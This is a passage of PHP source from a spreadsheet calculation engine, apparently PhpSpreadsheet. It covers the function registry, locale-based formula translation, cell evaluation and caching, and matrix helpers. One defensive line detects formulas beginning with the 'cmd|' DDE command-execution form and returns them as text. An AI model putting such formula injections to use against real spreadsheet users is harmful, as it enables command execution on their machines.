[Functions::class, 'DUMMY'], 'argumentCount' => '1-3', ], 'TOROW' => [ 'category' => Category::CATEGORY_MATH_AND_TRIG, 'functionCall' => [Functions::class, 'DUMMY'], 'argumentCount' => '1-3', ], 'TRANSPOSE' => [ 'category' => Category::CATEGORY_LOOKUP_AND_REFERENCE, 'functionCall' => [LookupRef\Matrix::class, 'transpose'], 'argumentCount' => '1', ], 'TREND' => [ 'category' => Category::CATEGORY_STATISTICAL, 'functionCall' => [Statistical\Trends::class, 'TREND'], 'argumentCount' => '1-4', ], 'TRIM' => [ 'category' => Category::CATEGORY_TEXT_AND_DATA, 'functionCall' => [TextData\Trim::class, 'spaces'], 'argumentCount' => '1', ], 'TRIMMEAN' => [ 'category' => Category::CATEGORY_STATISTICAL, 'functionCall' => [Statistical\Averages\Mean::class, 'trim'], 'argumentCount' => '2', ], 'TRUE' => [ 'category' => Category::CATEGORY_LOGICAL, 'functionCall' => [Logical\Boolean::class, 'TRUE'], 'argumentCount' => '0', ], 'TRUNC' => [ 'category' => Category::CATEGORY_MATH_AND_TRIG, 'functionCall' => [MathTrig\Trunc::class, 'evaluate'], 'argumentCount' => '1,2', ], 'TTEST' => [ 'category' => Category::CATEGORY_STATISTICAL, 'functionCall' => [Functions::class, 'DUMMY'], 'argumentCount' => '4', ], 'T.TEST' => [ 'category' => Category::CATEGORY_STATISTICAL, 'functionCall' => [Functions::class, 'DUMMY'], 'argumentCount' => '4', ], 'TYPE' => [ 'category' => Category::CATEGORY_INFORMATION, 'functionCall' => [Information\Value::class, 'type'], 'argumentCount' => '1', ], 'UNICHAR' => [ 'category' => Category::CATEGORY_TEXT_AND_DATA, 'functionCall' => [TextData\CharacterConvert::class, 'character'], 'argumentCount' => '1', ], 'UNICODE' => [ 'category' => Category::CATEGORY_TEXT_AND_DATA, 'functionCall' => [TextData\CharacterConvert::class, 'code'], 'argumentCount' => '1', ], 'UNIQUE' => [ 'category' => Category::CATEGORY_LOOKUP_AND_REFERENCE, 'functionCall' => [LookupRef\Unique::class, 'unique'], 'argumentCount' => '1+', ], 'UPPER' => [ 'category' => Category::CATEGORY_TEXT_AND_DATA, 'functionCall' => [TextData\CaseConvert::class, 'upper'], 'argumentCount' => '1', ], 'USDOLLAR' => [ 'category' => Category::CATEGORY_FINANCIAL, 'functionCall' => [Financial\Dollar::class, 'format'], 'argumentCount' => '2', ], 'VALUE' => [ 'category' => Category::CATEGORY_TEXT_AND_DATA, 'functionCall' => [TextData\Format::class, 'VALUE'], 'argumentCount' => '1', ], 'VALUETOTEXT' => [ 'category' => Category::CATEGORY_TEXT_AND_DATA, 'functionCall' => [TextData\Format::class, 'valueToText'], 'argumentCount' => '1,2', ], 'VAR' => [ 'category' => Category::CATEGORY_STATISTICAL, 'functionCall' => [Statistical\Variances::class, 'VAR'], 'argumentCount' => '1+', ], 'VAR.P' => [ 'category' => Category::CATEGORY_STATISTICAL, 'functionCall' => [Statistical\Variances::class, 'VARP'], 'argumentCount' => '1+', ], 'VAR.S' => [ 'category' => Category::CATEGORY_STATISTICAL, 'functionCall' => [Statistical\Variances::class, 'VAR'], 'argumentCount' => '1+', ], 'VARA' => [ 'category' => Category::CATEGORY_STATISTICAL, 'functionCall' => [Statistical\Variances::class, 'VARA'], 'argumentCount' => '1+', ], 'VARP' => [ 'category' => Category::CATEGORY_STATISTICAL, 'functionCall' => [Statistical\Variances::class, 'VARP'], 'argumentCount' => '1+', ], 'VARPA' => [ 'category' => Category::CATEGORY_STATISTICAL, 'functionCall' => [Statistical\Variances::class, 'VARPA'], 'argumentCount' => '1+', ], 'VDB' => [ 'category' => Category::CATEGORY_FINANCIAL, 'functionCall' => [Functions::class, 'DUMMY'], 'argumentCount' => '5-7', ], 'VLOOKUP' => [ 'category' => Category::CATEGORY_LOOKUP_AND_REFERENCE, 'functionCall' => [LookupRef\VLookup::class, 'lookup'], 'argumentCount' => '3,4', ], 'VSTACK' => [ 'category' => Category::CATEGORY_MATH_AND_TRIG, 'functionCall' => [Functions::class, 'DUMMY'], 'argumentCount' => '1+', ], 'WEBSERVICE' => [ 'category' => Category::CATEGORY_WEB, 'functionCall' => [Web\Service::class, 'webService'], 'argumentCount' => '1', ], 'WEEKDAY' => [ 'category' => Category::CATEGORY_DATE_AND_TIME, 'functionCall' => [DateTimeExcel\Week::class, 'day'], 'argumentCount' => '1,2', ], 'WEEKNUM' => [ 'category' => Category::CATEGORY_DATE_AND_TIME, 'functionCall' => [DateTimeExcel\Week::class, 'number'], 'argumentCount' => '1,2', ], 'WEIBULL' => [ 'category' => Category::CATEGORY_STATISTICAL, 'functionCall' => [Statistical\Distributions\Weibull::class, 'distribution'], 'argumentCount' => '4', ], 'WEIBULL.DIST' => [ 'category' => Category::CATEGORY_STATISTICAL, 'functionCall' => [Statistical\Distributions\Weibull::class, 'distribution'], 'argumentCount' => '4', ], 'WORKDAY' => [ 'category' => Category::CATEGORY_DATE_AND_TIME, 'functionCall' => [DateTimeExcel\WorkDay::class, 'date'], 'argumentCount' => '2-3', ], 'WORKDAY.INTL' => [ 'category' => Category::CATEGORY_DATE_AND_TIME, 'functionCall' => [Functions::class, 'DUMMY'], 'argumentCount' => '2-4', ], 'WRAPCOLS' => [ 'category' => Category::CATEGORY_MATH_AND_TRIG, 'functionCall' => [Functions::class, 'DUMMY'], 'argumentCount' => '2-3', ], 'WRAPROWS' => [ 'category' => Category::CATEGORY_MATH_AND_TRIG, 'functionCall' => [Functions::class, 'DUMMY'], 'argumentCount' => '2-3', ], 'XIRR' => [ 'category' => Category::CATEGORY_FINANCIAL, 'functionCall' => [Financial\CashFlow\Variable\NonPeriodic::class, 'rate'], 'argumentCount' => '2,3', ], 'XLOOKUP' => [ 'category' => Category::CATEGORY_LOOKUP_AND_REFERENCE, 'functionCall' => [Functions::class, 'DUMMY'], 'argumentCount' => '3-6', ], 'XNPV' => [ 'category' => Category::CATEGORY_FINANCIAL, 'functionCall' => [Financial\CashFlow\Variable\NonPeriodic::class, 'presentValue'], 'argumentCount' => '3', ], 'XMATCH' => [ 'category' => Category::CATEGORY_LOOKUP_AND_REFERENCE, 'functionCall' => [Functions::class, 'DUMMY'], 'argumentCount' => '2,3', ], 'XOR' => [ 'category' => Category::CATEGORY_LOGICAL, 'functionCall' => [Logical\Operations::class, 'logicalXor'], 'argumentCount' => '1+', ], 'YEAR' => [ 'category' => Category::CATEGORY_DATE_AND_TIME, 'functionCall' => [DateTimeExcel\DateParts::class, 'year'], 'argumentCount' => '1', ], 'YEARFRAC' => [ 'category' => Category::CATEGORY_DATE_AND_TIME, 'functionCall' => [DateTimeExcel\YearFrac::class, 'fraction'], 'argumentCount' => '2,3', ], 'YIELD' => [ 'category' => Category::CATEGORY_FINANCIAL, 'functionCall' => [Functions::class, 'DUMMY'], 'argumentCount' => '6,7', ], 'YIELDDISC' => [ 'category' => Category::CATEGORY_FINANCIAL, 'functionCall' => [Financial\Securities\Yields::class, 'yieldDiscounted'], 'argumentCount' => '4,5', ], 'YIELDMAT' => [ 'category' => Category::CATEGORY_FINANCIAL, 'functionCall' => [Financial\Securities\Yields::class, 'yieldAtMaturity'], 'argumentCount' => '5,6', ], 'ZTEST' => [ 'category' => Category::CATEGORY_STATISTICAL, 'functionCall' => [Statistical\Distributions\StandardNormal::class, 'zTest'], 'argumentCount' => '2-3', ], 'Z.TEST' => [ 'category' => Category::CATEGORY_STATISTICAL, 'functionCall' => [Statistical\Distributions\StandardNormal::class, 'zTest'], 'argumentCount' => '2-3', ], ]; /** * Internal functions used for special control purposes. */ private static array $controlFunctions = [ 'MKMATRIX' => [ 'argumentCount' => '*', 'functionCall' => [Internal\MakeMatrix::class, 'make'], ], 'NAME.ERROR' => [ 'argumentCount' => '*', 'functionCall' => [ExcelError::class, 'NAME'], ], 'WILDCARDMATCH' => [ 'argumentCount' => '2', 'functionCall' => [Internal\WildcardMatch::class, 'compare'], ], ]; public function __construct(?Spreadsheet $spreadsheet = null) { $this->spreadsheet = $spreadsheet; $this->cyclicReferenceStack = new CyclicReferenceStack(); $this->debugLog = new Logger($this->cyclicReferenceStack); $this->branchPruner = new BranchPruner($this->branchPruningEnabled); self::$referenceHelper = ReferenceHelper::getInstance(); } private static function loadLocales(): void { $localeFileDirectory = __DIR__ . '/locale/'; $localeFileNames = glob($localeFileDirectory . '*', GLOB_ONLYDIR) ?: []; foreach ($localeFileNames as $filename) { $filename = substr($filename, strlen($localeFileDirectory)); if ($filename != 'en') { self::$validLocaleLanguages[] = $filename; } } } /** * Get an instance of this class. * * @param ?Spreadsheet $spreadsheet Injected spreadsheet for working with a PhpSpreadsheet Spreadsheet object, * or NULL to create a standalone calculation engine */ public static function getInstance(?Spreadsheet $spreadsheet = null): self { if ($spreadsheet !== null) { $instance = $spreadsheet->getCalculationEngine(); if (isset($instance)) { return $instance; } } if (!self::$instance) { self::$instance = new self(); } return self::$instance; } /** * Flush the calculation cache for any existing instance of this class * but only if a Calculation instance exists. */ public function flushInstance(): void { $this->clearCalculationCache(); $this->branchPruner->clearBranchStore(); } /** * Get the Logger for this calculation engine instance. */ public function getDebugLog(): Logger { return $this->debugLog; } /** * __clone implementation. Cloning should not be allowed in a Singleton! */ final public function __clone() { throw new Exception('Cloning the calculation engine is not allowed!'); } /** * Return the locale-specific translation of TRUE. * * @return string locale-specific translation of TRUE */ public static function getTRUE(): string { return self::$localeBoolean['TRUE']; } /** * Return the locale-specific translation of FALSE. * * @return string locale-specific translation of FALSE */ public static function getFALSE(): string { return self::$localeBoolean['FALSE']; } /** * Set the Array Return Type (Array or Value of first element in the array). * * @param string $returnType Array return type * * @return bool Success or failure */ public static function setArrayReturnType(string $returnType): bool { if ( ($returnType == self::RETURN_ARRAY_AS_VALUE) || ($returnType == self::RETURN_ARRAY_AS_ERROR) || ($returnType == self::RETURN_ARRAY_AS_ARRAY) ) { self::$returnArrayAsType = $returnType; return true; } return false; } /** * Return the Array Return Type (Array or Value of first element in the array). * * @return string $returnType Array return type */ public static function getArrayReturnType(): string { return self::$returnArrayAsType; } /** * Is calculation caching enabled? */ public function getCalculationCacheEnabled(): bool { return $this->calculationCacheEnabled; } /** * Enable/disable calculation cache. */ public function setCalculationCacheEnabled(bool $calculationCacheEnabled): void { $this->calculationCacheEnabled = $calculationCacheEnabled; $this->clearCalculationCache(); } /** * Enable calculation cache. */ public function enableCalculationCache(): void { $this->setCalculationCacheEnabled(true); } /** * Disable calculation cache. */ public function disableCalculationCache(): void { $this->setCalculationCacheEnabled(false); } /** * Clear calculation cache. */ public function clearCalculationCache(): void { $this->calculationCache = []; } /** * Clear calculation cache for a specified worksheet. */ public function clearCalculationCacheForWorksheet(string $worksheetName): void { if (isset($this->calculationCache[$worksheetName])) { unset($this->calculationCache[$worksheetName]); } } /** * Rename calculation cache for a specified worksheet. */ public function renameCalculationCacheForWorksheet(string $fromWorksheetName, string $toWorksheetName): void { if (isset($this->calculationCache[$fromWorksheetName])) { $this->calculationCache[$toWorksheetName] = &$this->calculationCache[$fromWorksheetName]; unset($this->calculationCache[$fromWorksheetName]); } } /** * Enable/disable calculation cache. */ public function setBranchPruningEnabled(mixed $enabled): void { $this->branchPruningEnabled = $enabled; $this->branchPruner = new BranchPruner($this->branchPruningEnabled); } public function enableBranchPruning(): void { $this->setBranchPruningEnabled(true); } public function disableBranchPruning(): void { $this->setBranchPruningEnabled(false); } /** * Get the currently defined locale code. */ public function getLocale(): string { return self::$localeLanguage; } private function getLocaleFile(string $localeDir, string $locale, string $language, string $file): string { $localeFileName = $localeDir . str_replace('_', DIRECTORY_SEPARATOR, $locale) . DIRECTORY_SEPARATOR . $file; if (!file_exists($localeFileName)) { // If there isn't a locale specific file, look for a language specific file $localeFileName = $localeDir . $language . DIRECTORY_SEPARATOR . $file; if (!file_exists($localeFileName)) { throw new Exception('Locale file not found'); } } return $localeFileName; } /** * Set the locale code. * * @param string $locale The locale to use for formula translation, eg: 'en_us' */ public function setLocale(string $locale): bool { // Identify our locale and language $language = $locale = strtolower($locale); if (str_contains($locale, '_')) { [$language] = explode('_', $locale); } if (count(self::$validLocaleLanguages) == 1) { self::loadLocales(); } // Test whether we have any language data for this language (any locale) if (in_array($language, self::$validLocaleLanguages, true)) { // initialise language/locale settings self::$localeFunctions = []; self::$localeArgumentSeparator = ','; self::$localeBoolean = ['TRUE' => 'TRUE', 'FALSE' => 'FALSE', 'NULL' => 'NULL']; // Default is US English, if user isn't requesting US english, then read the necessary data from the locale files if ($locale !== 'en_us') { $localeDir = implode(DIRECTORY_SEPARATOR, [__DIR__, 'locale', null]); // Search for a file with a list of function names for locale try { $functionNamesFile = $this->getLocaleFile($localeDir, $locale, $language, 'functions'); } catch (Exception $e) { return false; } // Retrieve the list of locale or language specific function names $localeFunctions = file($functionNamesFile, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES) ?: []; foreach ($localeFunctions as $localeFunction) { [$localeFunction] = explode('##', $localeFunction); // Strip out comments if (str_contains($localeFunction, '=')) { [$fName, $lfName] = array_map('trim', explode('=', $localeFunction)); if ((str_starts_with($fName, '*') || isset(self::$phpSpreadsheetFunctions[$fName])) && ($lfName != '') && ($fName != $lfName)) { self::$localeFunctions[$fName] = $lfName; } } } // Default the TRUE and FALSE constants to the locale names of the TRUE() and FALSE() functions if (isset(self::$localeFunctions['TRUE'])) { self::$localeBoolean['TRUE'] = self::$localeFunctions['TRUE']; } if (isset(self::$localeFunctions['FALSE'])) { self::$localeBoolean['FALSE'] = self::$localeFunctions['FALSE']; } try { $configFile = $this->getLocaleFile($localeDir, $locale, $language, 'config'); } catch (Exception) { return false; } $localeSettings = file($configFile, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES) ?: []; foreach ($localeSettings as $localeSetting) { [$localeSetting] = explode('##', $localeSetting); // Strip out comments if (str_contains($localeSetting, '=')) { [$settingName, $settingValue] = array_map('trim', explode('=', $localeSetting)); $settingName = strtoupper($settingName); if ($settingValue !== '') { switch ($settingName) { case 'ARGUMENTSEPARATOR': self::$localeArgumentSeparator = $settingValue; break; } } } } } self::$functionReplaceFromExcel = self::$functionReplaceToExcel = self::$functionReplaceFromLocale = self::$functionReplaceToLocale = null; self::$localeLanguage = $locale; return true; } return false; } public static function translateSeparator( string $fromSeparator, string $toSeparator, string $formula, int &$inBracesLevel, string $openBrace = self::FORMULA_OPEN_FUNCTION_BRACE, string $closeBrace = self::FORMULA_CLOSE_FUNCTION_BRACE ): string { $strlen = mb_strlen($formula); for ($i = 0; $i < $strlen; ++$i) { $chr = mb_substr($formula, $i, 1); switch ($chr) { case $openBrace: ++$inBracesLevel; break; case $closeBrace: --$inBracesLevel; break; case $fromSeparator: if ($inBracesLevel > 0) { $formula = mb_substr($formula, 0, $i) . $toSeparator . mb_substr($formula, $i + 1); } } } return $formula; } private static function translateFormulaBlock( array $from, array $to, string $formula, int &$inFunctionBracesLevel, int &$inMatrixBracesLevel, string $fromSeparator, string $toSeparator ): string { // Function Names $formula = (string) preg_replace($from, $to, $formula); // Temporarily adjust matrix separators so that they won't be confused with function arguments $formula = self::translateSeparator(';', '|', $formula, $inMatrixBracesLevel, self::FORMULA_OPEN_MATRIX_BRACE, self::FORMULA_CLOSE_MATRIX_BRACE); $formula = self::translateSeparator(',', '!', $formula, $inMatrixBracesLevel, self::FORMULA_OPEN_MATRIX_BRACE, self::FORMULA_CLOSE_MATRIX_BRACE); // Function Argument Separators $formula = self::translateSeparator($fromSeparator, $toSeparator, $formula, $inFunctionBracesLevel); // Restore matrix separators $formula = self::translateSeparator('|', ';', $formula, $inMatrixBracesLevel, self::FORMULA_OPEN_MATRIX_BRACE, self::FORMULA_CLOSE_MATRIX_BRACE); $formula = self::translateSeparator('!', ',', $formula, $inMatrixBracesLevel, self::FORMULA_OPEN_MATRIX_BRACE, self::FORMULA_CLOSE_MATRIX_BRACE); return $formula; } private static function translateFormula(array $from, array $to, string $formula, string $fromSeparator, string $toSeparator): string { // Convert any Excel function names and constant names to the required language; // and adjust function argument separators if (self::$localeLanguage !== 'en_us') { $inFunctionBracesLevel = 0; $inMatrixBracesLevel = 0; // If there is the possibility of separators within a quoted string, then we treat them as literals if (str_contains($formula, self::FORMULA_STRING_QUOTE)) { // So instead we skip replacing in any quoted strings by only replacing in every other array element // after we've exploded the formula $temp = explode(self::FORMULA_STRING_QUOTE, $formula); $notWithinQuotes = false; foreach ($temp as &$value) { // Only adjust in alternating array entries $notWithinQuotes = $notWithinQuotes === false; if ($notWithinQuotes === true) { $value = self::translateFormulaBlock($from, $to, $value, $inFunctionBracesLevel, $inMatrixBracesLevel, $fromSeparator, $toSeparator); } } unset($value); // Then rebuild the formula string $formula = implode(self::FORMULA_STRING_QUOTE, $temp); } else { // If there's no quoted strings, then we do a simple count/replace $formula = self::translateFormulaBlock($from, $to, $formula, $inFunctionBracesLevel, $inMatrixBracesLevel, $fromSeparator, $toSeparator); } } return $formula; } /** @var ?array */ private static ?array $functionReplaceFromExcel; /** @var ?array */ private static ?array $functionReplaceToLocale; /** * @deprecated 1.30.0 use translateFormulaToLocale() instead * * @codeCoverageIgnore */ public function _translateFormulaToLocale(string $formula): string { return $this->translateFormulaToLocale($formula); } public function translateFormulaToLocale(string $formula): string { $formula = preg_replace(self::CALCULATION_REGEXP_STRIP_XLFN_XLWS, '', $formula) ?? ''; // Build list of function names and constants for translation if (self::$functionReplaceFromExcel === null) { self::$functionReplaceFromExcel = []; foreach (array_keys(self::$localeFunctions) as $excelFunctionName) { self::$functionReplaceFromExcel[] = '/(@?[^\w\.])' . preg_quote($excelFunctionName, '/') . '([\s]*\()/ui'; } foreach (array_keys(self::$localeBoolean) as $excelBoolean) { self::$functionReplaceFromExcel[] = '/(@?[^\w\.])' . preg_quote($excelBoolean, '/') . '([^\w\.])/ui'; } } if (self::$functionReplaceToLocale === null) { self::$functionReplaceToLocale = []; foreach (self::$localeFunctions as $localeFunctionName) { self::$functionReplaceToLocale[] = '$1' . trim($localeFunctionName) . '$2'; } foreach (self::$localeBoolean as $localeBoolean) { self::$functionReplaceToLocale[] = '$1' . trim($localeBoolean) . '$2'; } } return self::translateFormula( self::$functionReplaceFromExcel, self::$functionReplaceToLocale, $formula, ',', self::$localeArgumentSeparator ); } /** @var ?array */ private static ?array $functionReplaceFromLocale; /** @var ?array */ private static ?array $functionReplaceToExcel; /** * @deprecated 1.30.0 use translateFormulaToEnglish() instead * * @codeCoverageIgnore */ public function _translateFormulaToEnglish(string $formula): string { return $this->translateFormulaToEnglish($formula); } public function translateFormulaToEnglish(string $formula): string { if (self::$functionReplaceFromLocale === null) { self::$functionReplaceFromLocale = []; foreach (self::$localeFunctions as $localeFunctionName) { self::$functionReplaceFromLocale[] = '/(@?[^\w\.])' . preg_quote($localeFunctionName, '/') . '([\s]*\()/ui'; } foreach (self::$localeBoolean as $excelBoolean) { self::$functionReplaceFromLocale[] = '/(@?[^\w\.])' . preg_quote($excelBoolean, '/') . '([^\w\.])/ui'; } } if (self::$functionReplaceToExcel === null) { self::$functionReplaceToExcel = []; foreach (array_keys(self::$localeFunctions) as $excelFunctionName) { self::$functionReplaceToExcel[] = '$1' . trim($excelFunctionName) . '$2'; } foreach (array_keys(self::$localeBoolean) as $excelBoolean) { self::$functionReplaceToExcel[] = '$1' . trim($excelBoolean) . '$2'; } } return self::translateFormula(self::$functionReplaceFromLocale, self::$functionReplaceToExcel, $formula, self::$localeArgumentSeparator, ','); } public static function localeFunc(string $function): string { if (self::$localeLanguage !== 'en_us') { $functionName = trim($function, '('); if (isset(self::$localeFunctions[$functionName])) { $brace = ($functionName != $function); $function = self::$localeFunctions[$functionName]; if ($brace) { $function .= '('; } } } return $function; } /** * Wrap string values in quotes. */ public static function wrapResult(mixed $value): mixed { if (is_string($value)) { // Error values cannot be "wrapped" if (preg_match('/^' . self::CALCULATION_REGEXP_ERROR . '$/i', $value, $match)) { // Return Excel errors "as is" return $value; } // Return strings wrapped in quotes return self::FORMULA_STRING_QUOTE . $value . self::FORMULA_STRING_QUOTE; } elseif ((is_float($value)) && ((is_nan($value)) || (is_infinite($value)))) { // Convert numeric errors to NaN error return ExcelError::NAN(); } return $value; } /** * Remove quotes used as a wrapper to identify string values. */ public static function unwrapResult(mixed $value): mixed { if (is_string($value)) { if ((isset($value[0])) && ($value[0] == self::FORMULA_STRING_QUOTE) && (substr($value, -1) == self::FORMULA_STRING_QUOTE)) { return substr($value, 1, -1); } // Convert numeric errors to NAN error } elseif ((is_float($value)) && ((is_nan($value)) || (is_infinite($value)))) { return ExcelError::NAN(); } return $value; } /** * Calculate cell value (using formula from a cell ID) * Retained for backward compatibility. * * @param ?Cell $cell Cell to calculate */ public function calculate(?Cell $cell = null): mixed { try { return $this->calculateCellValue($cell); } catch (\Exception $e) { throw new Exception($e->getMessage()); } } /** * Calculate the value of a cell formula. * * @param ?Cell $cell Cell to calculate * @param bool $resetLog Flag indicating whether the debug log should be reset or not */ public function calculateCellValue(?Cell $cell = null, bool $resetLog = true): mixed { if ($cell === null) { return null; } $returnArrayAsType = self::$returnArrayAsType; if ($resetLog) { // Initialise the logging settings if requested $this->formulaError = null; $this->debugLog->clearLog(); $this->cyclicReferenceStack->clear(); $this->cyclicFormulaCounter = 1; self::$returnArrayAsType = self::RETURN_ARRAY_AS_ARRAY; } // Execute the calculation for the cell formula $this->cellStack[] = [ 'sheet' => $cell->getWorksheet()->getTitle(), 'cell' => $cell->getCoordinate(), ]; $cellAddressAttempted = false; $cellAddress = null; try { $result = self::unwrapResult($this->_calculateFormulaValue($cell->getValue(), $cell->getCoordinate(), $cell)); if ($this->spreadsheet === null) { throw new Exception('null spreadsheet in calculateCellValue'); } $cellAddressAttempted = true; $cellAddress = array_pop($this->cellStack); if ($cellAddress === null) { throw new Exception('null cellAddress in calculateCellValue'); } $testSheet = $this->spreadsheet->getSheetByName($cellAddress['sheet']); if ($testSheet === null) { throw new Exception('worksheet not found in calculateCellValue'); } $testSheet->getCell($cellAddress['cell']); } catch (\Exception $e) { if (!$cellAddressAttempted) { $cellAddress = array_pop($this->cellStack); } if ($this->spreadsheet !== null && is_array($cellAddress) && array_key_exists('sheet', $cellAddress)) { $testSheet = $this->spreadsheet->getSheetByName($cellAddress['sheet']); if ($testSheet !== null && array_key_exists('cell', $cellAddress)) { $testSheet->getCell($cellAddress['cell']); } } throw new Exception($e->getMessage(), $e->getCode(), $e); } if ((is_array($result)) && (self::$returnArrayAsType != self::RETURN_ARRAY_AS_ARRAY)) { self::$returnArrayAsType = $returnArrayAsType; $testResult = Functions::flattenArray($result); if (self::$returnArrayAsType == self::RETURN_ARRAY_AS_ERROR) { return ExcelError::VALUE(); } // If there's only a single cell in the array, then we allow it if (count($testResult) != 1) { // If keys are numeric, then it's a matrix result rather than a cell range result, so we permit it $r = array_keys($result); $r = array_shift($r); if (!is_numeric($r)) { return ExcelError::VALUE(); } if (is_array($result[$r])) { $c = array_keys($result[$r]); $c = array_shift($c); if (!is_numeric($c)) { return ExcelError::VALUE(); } } } $result = array_shift($testResult); } self::$returnArrayAsType = $returnArrayAsType; if ($result === null && $cell->getWorksheet()->getSheetView()->getShowZeros()) { return 0; } elseif ((is_float($result)) && ((is_nan($result)) || (is_infinite($result)))) { return ExcelError::NAN(); } return $result; } /** * Validate and parse a formula string. * * @param string $formula Formula to parse */ public function parseFormula(string $formula): array|bool { // Basic validation that this is indeed a formula // We return an empty array if not $formula = trim($formula); if ((!isset($formula[0])) || ($formula[0] != '=')) { return []; } $formula = ltrim(substr($formula, 1)); if (!isset($formula[0])) { return []; } // Parse the formula and return the token stack return $this->internalParseFormula($formula); } /** * Calculate the value of a formula. * * @param string $formula Formula to parse * @param ?string $cellID Address of the cell to calculate * @param ?Cell $cell Cell to calculate */ public function calculateFormula(string $formula, ?string $cellID = null, ?Cell $cell = null): mixed { // Initialise the logging settings $this->formulaError = null; $this->debugLog->clearLog(); $this->cyclicReferenceStack->clear(); $resetCache = $this->getCalculationCacheEnabled(); if ($this->spreadsheet !== null && $cellID === null && $cell === null) { $cellID = 'A1'; $cell = $this->spreadsheet->getActiveSheet()->getCell($cellID); } else { // Disable calculation cacheing because it only applies to cell calculations, not straight formulae // But don't actually flush any cache $this->calculationCacheEnabled = false; } // Execute the calculation try { $result = self::unwrapResult($this->_calculateFormulaValue($formula, $cellID, $cell)); } catch (\Exception $e) { throw new Exception($e->getMessage()); } if ($this->spreadsheet === null) { // Reset calculation cacheing to its previous state $this->calculationCacheEnabled = $resetCache; } return $result; } public function getValueFromCache(string $cellReference, mixed &$cellValue): bool { $this->debugLog->writeDebugLog('Testing cache value for cell %s', $cellReference); // Is calculation cacheing enabled? // If so, is the required value present in calculation cache? if (($this->calculationCacheEnabled) && (isset($this->calculationCache[$cellReference]))) { $this->debugLog->writeDebugLog('Retrieving value for cell %s from cache', $cellReference); // Return the cached result $cellValue = $this->calculationCache[$cellReference]; return true; } return false; } public function saveValueToCache(string $cellReference, mixed $cellValue): void { if ($this->calculationCacheEnabled) { $this->calculationCache[$cellReference] = $cellValue; } } /** * Parse a cell formula and calculate its value. * * @param string $formula The formula to parse and calculate * @param ?string $cellID The ID (e.g. A3) of the cell that we are calculating * @param ?Cell $cell Cell to calculate * @param bool $ignoreQuotePrefix If set to true, evaluate the formyla even if the referenced cell is quote prefixed */ public function _calculateFormulaValue(string $formula, ?string $cellID = null, ?Cell $cell = null, bool $ignoreQuotePrefix = false): mixed { $cellValue = null; // Quote-Prefixed cell values cannot be formulae, but are treated as strings if ($cell !== null && $ignoreQuotePrefix === false && $cell->getStyle()->getQuotePrefix() === true) { return self::wrapResult((string) $formula); } if (preg_match('/^=\s*cmd\s*\|/miu', $formula) !== 0) { return self::wrapResult($formula); } // Basic validation that this is indeed a formula // We simply return the cell value if not $formula = trim($formula); if ($formula[0] != '=') { return self::wrapResult($formula); } $formula = ltrim(substr($formula, 1)); if (!isset($formula[0])) { return self::wrapResult($formula); } $pCellParent = ($cell !== null) ? $cell->getWorksheet() : null; $wsTitle = ($pCellParent !== null) ? $pCellParent->getTitle() : "\x00Wrk"; $wsCellReference = $wsTitle . '!' . $cellID; if (($cellID !== null) && ($this->getValueFromCache($wsCellReference, $cellValue))) { return $cellValue; } $this->debugLog->writeDebugLog('Evaluating formula for cell %s', $wsCellReference); if (($wsTitle[0] !== "\x00") && ($this->cyclicReferenceStack->onStack($wsCellReference))) { if ($this->cyclicFormulaCount <= 0) { $this->cyclicFormulaCell = ''; return $this->raiseFormulaError('Cyclic Reference in Formula'); } elseif ($this->cyclicFormulaCell === $wsCellReference) { ++$this->cyclicFormulaCounter; if ($this->cyclicFormulaCounter >= $this->cyclicFormulaCount) { $this->cyclicFormulaCell = ''; return $cellValue; } } elseif ($this->cyclicFormulaCell == '') { if ($this->cyclicFormulaCounter >= $this->cyclicFormulaCount) { return $cellValue; } $this->cyclicFormulaCell = $wsCellReference; } } $this->debugLog->writeDebugLog('Formula for cell %s is %s', $wsCellReference, $formula); // Parse the formula onto the token stack and calculate the value $this->cyclicReferenceStack->push($wsCellReference); $cellValue = $this->processTokenStack($this->internalParseFormula($formula, $cell), $cellID, $cell); $this->cyclicReferenceStack->pop(); // Save to calculation cache if ($cellID !== null) { $this->saveValueToCache($wsCellReference, $cellValue); } // Return the calculated value return $cellValue; } /** * Ensure that paired matrix operands are both matrices and of the same size. * * @param mixed $operand1 First matrix operand * @param mixed $operand2 Second matrix operand * @param int $resize Flag indicating whether the matrices should be resized to match * and (if so), whether the smaller dimension should grow or the * larger should shrink. * 0 = no resize * 1 = shrink to fit * 2 = extend to fit */ private static function checkMatrixOperands(mixed &$operand1, mixed &$operand2, int $resize = 1): array { // Examine each of the two operands, and turn them into an array if they aren't one already // Note that this function should only be called if one or both of the operand is already an array if (!is_array($operand1)) { [$matrixRows, $matrixColumns] = self::getMatrixDimensions($operand2); $operand1 = array_fill(0, $matrixRows, array_fill(0, $matrixColumns, $operand1)); $resize = 0; } elseif (!is_array($operand2)) { [$matrixRows, $matrixColumns] = self::getMatrixDimensions($operand1); $operand2 = array_fill(0, $matrixRows, array_fill(0, $matrixColumns, $operand2)); $resize = 0; } [$matrix1Rows, $matrix1Columns] = self::getMatrixDimensions($operand1); [$matrix2Rows, $matrix2Columns] = self::getMatrixDimensions($operand2); if (($matrix1Rows == $matrix2Columns) && ($matrix2Rows == $matrix1Columns)) { $resize = 1; } if ($resize == 2) { // Given two matrices of (potentially) unequal size, convert the smaller in each dimension to match the larger self::resizeMatricesExtend($operand1, $operand2, $matrix1Rows, $matrix1Columns, $matrix2Rows, $matrix2Columns); } elseif ($resize == 1) { // Given two matrices of (potentially) unequal size, convert the larger in each dimension to match the smaller self::resizeMatricesShrink($operand1, $operand2, $matrix1Rows, $matrix1Columns, $matrix2Rows, $matrix2Columns); } [$matrix1Rows, $matrix1Columns] = self::getMatrixDimensions($operand1); [$matrix2Rows, $matrix2Columns] = self::getMatrixDimensions($operand2); return [$matrix1Rows, $matrix1Columns, $matrix2Rows, $matrix2Columns]; } /** * Read the dimensions of a matrix, and re-index it with straight numeric keys starting from row 0, column 0. * * @param array $matrix matrix operand * * @return int[] An array comprising the number of rows, and number of columns */ public static function getMatrixDimensions(array &$matrix): array { $matrixRows = count($matrix); $matrixColumns = 0; foreach ($matrix as $rowKey => $rowValue) { if (!is_array($rowValue)) { $matrix[$rowKey] = [$rowValue]; $matrixColumns = max(1, $matrixColumns); } else { $matrix[$rowKey] = array_values($rowValue); $matrixColumns = max(count($rowValue), $matrixColumns); } } $matrix = array_values($matrix); return [$matrixRows, $matrixColumns]; } /** * Ensure that paired matrix operands are both matrices of the same size. * * @param array $matrix1 First matrix operand * @param array $matrix2 Second matrix operand * @param int $matrix1Rows Row size of first matrix 